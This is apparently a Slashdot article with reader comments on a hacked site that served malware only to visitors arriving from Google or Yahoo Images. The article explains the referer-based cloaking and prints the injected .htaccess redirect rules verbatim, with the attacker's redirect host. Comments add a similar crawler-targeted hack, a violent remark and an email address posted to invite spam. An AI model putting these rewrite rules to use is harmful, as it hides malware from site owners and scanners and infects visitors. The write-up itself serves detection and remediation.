Image Searchers Snared By Malware
A friend of mine recently e-mailed a discussion list with an interesting query. Stonewall Ballard had searched on "tradingbloxlogo" on Google Images, which led to the results on this page. Clicking on the first result, an image from the tradingblox.com site, took him to this page, with the Google information header at the top, and loading the http://www.tradingblox.com/tradingblox/courses.htm page in a frame in the bottom half of the browser window. When that page was loaded in that bottom frame, Internet Explorer and Firefox would both flash warnings about the page being infected with malware. But if you loaded the http://www.tradingblox.com/tradingblox/courses.htm page in a normal Web browser window by itself, the browser would not display any warning, and checking the site using Google's malware query form returned a result saying the site was not suspicious. Why the differing results?
It turned out that the tradingblox.com had been hacked, and pages had been installed onto the server that would serve malware in an unusual way: If the page was being viewed in a frame loaded from Google Images, or as as result of a click through from Google Images, then the page would serve content that attempted to infect the user's computer with malware. On the other hand, if the page was viewed normally (as a result of typing the page into your browser), the malware-loading code would not be served. That means if you were to telnet to port 80 on the www.tradingblox.com server, and request a page as follows:
GET /tradingblox/courses.htm HTTP/1.1
Host: www.tradingblox.com
then the normal page would be returned. But if you entered these commands:
GET /tradingblox/courses.htm HTTP/1.1
Host: www.tradingblox.com
Referer: http://images.google.com/
then you would get the malware-infected page. (The webmaster has since fixed the problem, so that the latter request will no longer get the malware code.) The webserver would only serve the infected content if "images.google.com" was sent specifically as the referrer; "www.google.com" by itself would not trigger the result.
(For the uninitiated, when you click a link from one page to another, for example if you were reading an article on CNN.com which had a link to http://www.google.com/support/ and you clicked on that link, then when your browser requested the file "/support/" from the www.google.com server, it would send the request as follows:
GET /support/ HTTP/1.1
Host: www.google.com
Referer: http://www.cnn.com/article.url.goes.here/
So the webmasters of www.google.com can see what links people are clicking from other websites to reach the www.google.com site. Many sites use this to track which links from other pages, including advertisements that they've bought on other sites, are sending them the most traffic.)
Denis Sinegubko, owner of the website malware-infection checking site UnmaskParasites.com, says that he had seen pages before which would serve infected content if www.google.com itself were listed in the Referer: field. However, this was the first instance he'd seen where the content was only served if images.google.com was specifically listed as the Referer. Since no malware distributor would manually break into just one website to compromise it in this exact manner, it's extremely likely that there are many more sites that are infected in the same way. Stonewall Ballard noted that the Google Safe Browsing lookup for the hosting company where tradingblox.com is hosted, showed a high number of other sites on the same network that had been infected recently. (And those are only the infected sites that Google knows about -- recall that Google didn't even know that tradingblox.com was infected.)
Obviously, from the malware author's point of view, the point of serving malware content only some of the time rather than all of the time, is to make it harder for webmasters to pinpoint the problem. Someone gets the malware warning after following a link or loading a page via Google Images, and sends the webmaster an e-mail saying, "I got infected by your webpage, here is the link." The webmaster views the link and says, "I don't know what you're talking about, there's no malware code on that page." It also makes it harder for automated site-checking tools to detect the infection. Google's Safe Browsing lookup tool reported the site as uninfected, and Sinegubko's site-checking tool on UnmaskParasites.com also reported no malware infections on tradingblox.com, even while the site was still infected. (Sinegubko said he would possibly modify his site-checking script so that in addition to the other checks it performs, it will attempt to request a page sending "http://images.google.com/" in the "Referer:" field, to see if that results in different content being served. Google's Safe Browsing spider should do the same.)
Sinegubko said he's also seen instances where hacked sites would cover their tracks even further, by refusing to display infected content if the Referer: link from Google contained "inurl:domainname.com" or "site:domainname.com". This is because webmasters would sometimes check if their site was serving infected content in response to a click from Google, by doing a Google search on their own domainname.com, and following the link back to their site. By not serving the infected content in that case, the malware infection becomes even harder to detect.
This also makes it harder to report the exploits to the hosting companies that host infected websites. In case the webmaster of the infected site doesn't respond to complaints that their site is infected, sometimes you have to contact the hosting company and ask them to forcibly take the website offline until the problem is fixed. And I have been hosted by several companies where the tech support and abuse departments were (just barely) competent enough that if I called them up and said, "Your customer is hosting a malware-infected webpage, go to this page and view the source code, and you can see the malicious code", they would have known what to do. But if I'd had to tell them to follow the steps above -- "telnet to port 80" on the infected website, and type a few lines to mimic the process of a browser sending HTTP request headers to the website -- I probably would have lost them at "telnet". (Recall an experiment wherein I e-mailed some hosting companies from a Hotmail account, asking them to change the nameservers for a domain that I had hosted with them, and about half of the hosting companies agreed to switch the domain nameservers -- essentially, transferring the entire website to an unknown third party -- without ever authenticating that it was really me writing from that Hotmail account. Which means anybody could have taken over those websites simply by sending an e-mail. Front-end tech support at cheap hosting companies is often not very smart.)
Fortunately, Tim Arnold, the webmaster of the tradingblox.com site, did respond to the original report about the malware-infected pages, and found that an intruder had hacked the site on November 30th and inserted these lines into an .htaccess file:
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://search-box.in/in.cgi?4¶meter=u [R,L]
<Files 403.shtml>
order allow,deny
allow from all
</Files>
which resulted in the infected pages being served whenever a user loaded the site via Google Images. (So if you found this article because you think your own site might be infected by malware that serves pages conditionally on the Referer: field, that's the first place to look to fix the problem!)
It's uncertain how Arnold's site got infected in the first place, but Sinegubko had earlier said that almost 90% of breakins in 2009 that occurred on Linux-hosted sites, were caused by malware installed surreptitiously on people's Windows PCs and stealing the passwords that people used to administer their sites. Or the site could have been compromised via a WordPress exploit such as this one. As I always tell anyone who will listen, if you want to keep your Linux-hosted website from being broken into, one of the most frequently overlooked precautions that you need to take is to keep your Windows PC free of spyware.
But the larger point is that as malware becomes more aggressive, it's not just going to become harder to keep your PC and websites uninfected. It's also going to become harder for site owners and for hosting company abuse departments to verify that a site has been hacked, as the hacks use more sophisticated techniques to prevent the infection from being discovered. Abuse report handlers will have to be trained to understand what it means that a website is only showing infected content as a result of a "Referer:" header, and ideally should know enough about networking and command-line tools, to be able to mimic the "telnet" instructions above. (Most expensive dedicated hosting companies like RackSpace, do have technical staff who are at least that knowledgeable. But cheap shared hosting companies -- the kind where you can get your domain transferred to another company by sending an e-mail from an unauthenticated Hotmail account -- will have to train their abuse staff better.) Automated site-checking tools like Google's Safe Browsing spider and UnmaskParasites.com's site checker will have to start taking these attacks into account when checking a site for infection.
And as always, keeping your PC free of spyware, shouldn't be viewed just as a convenience to yourself, but as an obligation to your neighbors as well. (A case of the positive/negative externalities problem in economics.) You wouldn't send your kid to school with the flu, so why did you get your Mom on the Internet without buying her some anti-virus software?
The malware store called, they're running out of you!
Malware and Virus authors should be lined up against a wall and shot. They are cancers and need to be irradiated.
mao_reg@sina.com wants some free happy pills @ other wonderfull products since he likes to get email names off itunes somehow!
don't forget folks vote mao_reg@sina.com for schmuck of the year and add him to anything you can.
mao_reg@sina.com
oh did I forget to say
mao_reg@sina.com
While I use Windows on the desktop to manage my linux servers like most admins, I find it hard to believe that 90% of all break-ins were caused by an administrator's Windows box getting owned first, to capture their password/login info. That means only 10% of the boxes were directly attacked and owned, yet my logs show overwhelming amount of tries to do just that. This would mean that 90% of the pwned Linux servers are really the fault of Microsoft Windows, and just smacks of bogus accounting.
Tequila: It's not just for breakfast anymore!
The free antivirus packages are fine, there is no need to pay for one.
Nerd rage is the funniest rage.
Man, this is how I view my porn, and I use that method just to be safe! What now :(
I visited one of these sites , because I'm a limited user, the Malware didn't install . .Then those that run Linux or a Mac are likely to be immune and probably in that order. Linux machines being much more secure .
So I question how much of this is because consumers foolishly run as owner.admin? or disable UAC
For all that are hypersensitive to misspellings. The term 'referer' is not a typo (at least, not in this article).
I judt got a nre Kinesis keybiartf so please excusr ant egregiou typos.
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
I don't see Bing on there.
My webcomic
Okay, insert obligatory "One more reason not to use Windows" comment here, after all, this is Slashdork.
Yup, Linux and OSX can get infected as well, but it's harder to do so. Especially if you approach it from the point of view that it can happen to you. If you just have to use a Windoze tool, do it via a VM of some sort, pick your fave brand of VM to do so. Some tools (native VMware VI management tools) are only available for Windoze, so I use a VM to run those tools. Other than that, there are options, even for those poor admins that are CLI challenged, for managing stuff without using Windows.
If you just have to use Windoze because all us Linux g33ks are really l4m3rz and Windoze really is the sh1tz, then Obi Wan, use your mastery of that platform and show us that you're not just all hat and no cattle. Put in the extra time and effort to use your platform of choice without contributing to the delinquency of those less enlightened than you who think that your site is safe.
You must be the change you wish to see in the world - Ghandi
This is actually not a new trick. Guy I know once had his website serving up an evil redirect at random like half a year ago -- something like every 1 in 5-6 requests, and then still only with a Google referrer. Even asked me to capture the header with the redirect because his hosting company wouldn't believe him(they eventually fixed it).
Shouldn't we be happy about this? I mean, they aren't even TRYING to attack a regular surfer, but only one who comes through google images. That means they are trying a pretty limiting technique which I presume is because that all other methods will not yield as good results.To me that means people are getting better at this anti-virus thing.
I call it 'The Aristocrats'
I've got an old Mac at work I use for various tasks, but I use Windows at home. And it's loaded up with all of the standard defenses... firewalls, anti virus, malwarebytes, spybot s&d, you name it. And yet Windows boxes are still getting owned. And its not even necessarily "bad" websites that are spreading this stuff... porn, torrent sites, etc. There are a lot of websites out there that have no idea that they've been owned, and that they're spreading this filth to Windows machines. The latest trojans with "Internet Security 2010" infect Windows boxes so badly that it often takes longer to completely clean them than it does to just throw up your hands and decide to nuke and pave.
I know Macs will eventually be a bigger target when they get more of the market, but after one of my family machines became infected... again, despite having all of the necessary security software... I decided it was time to spring for a Mac Mini at home. Better that the wife and kids learn a different OS than Daddy pulling all of his hair out because of yet another damn trojan... despite best efforts to the contrary.
Life is hard, and the world is cruel
The gratuitous comma tag is incredibly appropriate. It's important to remember that if we hope to keep the next generation of students adept at the English language we might want to set a good example.
Since I've referenced poor grammar, there's a 99% chance I made a spelling or grammar error in this post.
Yeah, this is pretty scummy. But I've gotta admit, it's also pretty creative.
This space for rent...
Why post anon in the first message?
We get so many 404s because of probes from random script kiddies that I tend to ignore that part of the daily log scan -- big mistake. (I have my own link checker so I know that all of the real URLs are correct and functioning.) It wasn't until the site owner said that we seemed to have dropped off the search results at Google that we knew something was wrong. I couldn't figure out why and spent quite a bit of time banging my head against random walls.
Although I had looked at the logs I was mostly looking for 500 errors. I finally started to focus on the 404s and little bells started going off when I saw a whole bunch of them for msnbot. And then I saw a whole bunch for googlebot. And then I noticed that they were all under our /media path. I immediately started checking all of the URLs that had 404ed and they all worked fine.
Google was also reporting that they were getting a 404 on our sitemap.xml. Shit! I tested it with their 'Test you URL' page and it worked, so I resubmitted it and ... it 404ed! WTF? (I'm still not sure why this got snarled with sitemap.xml, but it was involved.)
I went and took a long, hot shower -- this is my place of refuge and deep thinking. The question was: what could cause all of these errors for the spider-bots, but not produce them for me or any normal human? I looked like a prune by the time it hit me: they weren't seeing the same pages/files I was. How could that happen? If this was a networking problem it would already be smelling like a firewall issue of some sort -- the unseen middleman.
I should mention here that this is a Django site, which means I'm pretty much all over the URLs coming in ... except for /media, which are handled directly by Apache as static files. Apache ... hmmm ... !
Apache's .htaccess file is probably the single most powerful file on your website, and you don't even see it when you do an 'ls'. I popped into the editor and I almost crapped my pants:
Those address ranges, btw, are all for googlebot and msnbot, so this only fires if you are coming from one of those net blocks. The special google URL checker wasn't coming from one of those addresses which is why it worked.
The scary thing is that this code is correct except for one little detail. The bots were getting 404s because the Black Hats got the path wrong. This isn't a normal PHP site and the topmost directory contains all of the Django stuff in one branch and all of the media in a different branch. Apache sees that topmost directory and it's where the .htaccess file lives, but the master .conf file has a specific <Location> rule that maps directly to /media, not /pop/media. If they had not made that error I don't know how long it would have taken to uncover this.
We still don't know how they got in. We changed all of the passwords and double-checked that we were up to date on all of the server code. There also are multiple levels of tripwires in place now so I'll know about any changes within minutes of it happening. And now we wait . . . .
Kudos on the work you did to figure this one out! I appreciate the time you took to investigate this one.
I use irony whenever I can, but my shirts are still wrinkled...
looking at the searchXX.in url mentioned the URL redirects according to its input
in each case they are hosted in USA
http://www.robtex.com/dns/newbluepill.com.html#records
why the FBI/CIA doesnt get involved i dunno, seems a simple job to catch em (just like the 419s) just follow the money and round them up
This would mean that 90% of the pwned Linux servers are really the fault of Microsoft Windows
You mean to say that such servers' pwned state is the result of improper security practices on the result of a Windows user. [/pedant]
In all likelihood, I don't see why this wouldn't be the case. Unless these sites are running some type of publicly available CMS product, like Wordpress or Joomla, chances are good that these sites are uploaded via FTP. There was a feature on Slashdot, it may have been Mr. Hassleton's writing, too, saying that certain types of trojans will scan your incoming and outgoing traffic, looking for FTP sessions and plucking out the credentials. Such is particularly easy, too, because FTP authentication and traffic is completely unencrypted.
Based on what I've read here and from how prolific the archaic security nightmare known as FTP is, I'd say it's quite plausible.
Boot Windows, Linux, and ESX over the network for free.
tradingblox, tradingblox, tradingblox. Is SlashSEO the new successor to the Slashvertisment?
The very idea of "verifying that a site is not hacked" is ultimately just as flawed as running a virus scanner to verify that you don't have a virus installed. Once a system is compromised, you can't trust it to help you find the problem. Checking to see if it happens to be serving malware right now, isn't reliable since the malware gets to decide whether or not to act suspiciously, and making decisions based on referer and user-agent is really just the tip of the iceberg compared to what is possible. What if it randomly decides to serve malware on 0.01% of the requests? You'll never be able to diagnose it that way, and in the unlikely event that you do happen to see something suspicious, you're going to start questioning yourself when it turns out to not be repeatable.
Don't install the malware in the first place. I won't say that defending in depth beyond that point is totally useless, but it's pretty close to useless. Once you're infected: game over, you lost.
As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
Firefox + Greasemonkey + "Google Image Search Direct Links"
That puts an extra link on each picture on the Google Image results. A link that just gives you the JPG and nothing else.
All this to say in a few rods, do not click on any link from google ads or link pages....always use the proper url.
I never understood why Google wants to load the site as a frame, which is unimaginably distracting and often the image is difficult to find. Rather, if they took a screenshot into the cache and moved the cursor automatically to the image, then it'd be more convenient, more reliable and safer.
That's all we needed to hear, an admittance of truth on your part (per my subject-line above, which is a quote of your own words)...
Continuing that "trend" next below too:
"but it's harder to do so" - by Marcus Erroneous (11660) on Thursday February 04, @10:50AM (#31022950) Homepage
Oh, really?
Tell us: Does javascript run on Linux &/or OS X??
(If so, and it IS so - Then please, tell us this then: So, how is it any more difficult to infect those 2 *NIX based OS derivants then, than it is using javascript to do so in Windows???)
APK
P.S.=> You guys who are part of the "Pro-*NIX" crew around here are totally unbelieveable @ times...
What I don't think you guys understand is that the main tool used to do these attacks on Windows also exists on *NIX variants too, and can be used against them also the same way it is on Windows by malicious coders! Personally, I think you ALL understand that well enough, but you often "conveniently omit" that fact is all, to spread more "FUD" propoganda around against Windows.
E.G.-> I think if there EVER is a "this is the year of [insert *NIX variant here]", and when your (if ever, probably never) *NIX variant of choice becomes the most used OS there is for personal computing as Windows is now, well... then, I think that you're all in for a HUGE surprise (as Apple found out w/ MacOS X in fact - they began turning up maliciously coded exploits like worms etc. et al once they gained more market share - based largely on PURE B.S. on their commercials of "You're a PC, I'm a Mac") when you will find your "*NIX variant of choice" being assaulted in the SAME MANNER & using the SAME TOOLS (javascript being the main 'culprit'), and mainly because your *NIX variant of choice would be the most used OS out there for personal computing.
(Which javascript is definitely used against Windows for malicious purposes, especially via webbrowsers, HTML scriptable email, & Adobe .pdf + flash exploits combined with javascript malicious code - simply because Windows has the MAJORITY OF MARKETSHARE OUT THERE, @ 95% OR BETTER - that said, why on earth do you think malware makers target Windows then???? Because it's the most used & like any criminal, let's say a pickpocket????? They gather where the most others gather to take advantage of them, like most criminals do! Pickpockets are after your CA$H, just like webcriminals are, & both do not gather to attack just 1 person, but entire crowds (from a single attack codebase - so they target the biggest crowd possible "from 1 shot" (1 codebase) is all - to max out their criminal enterprises' 'attack surface area'))... apk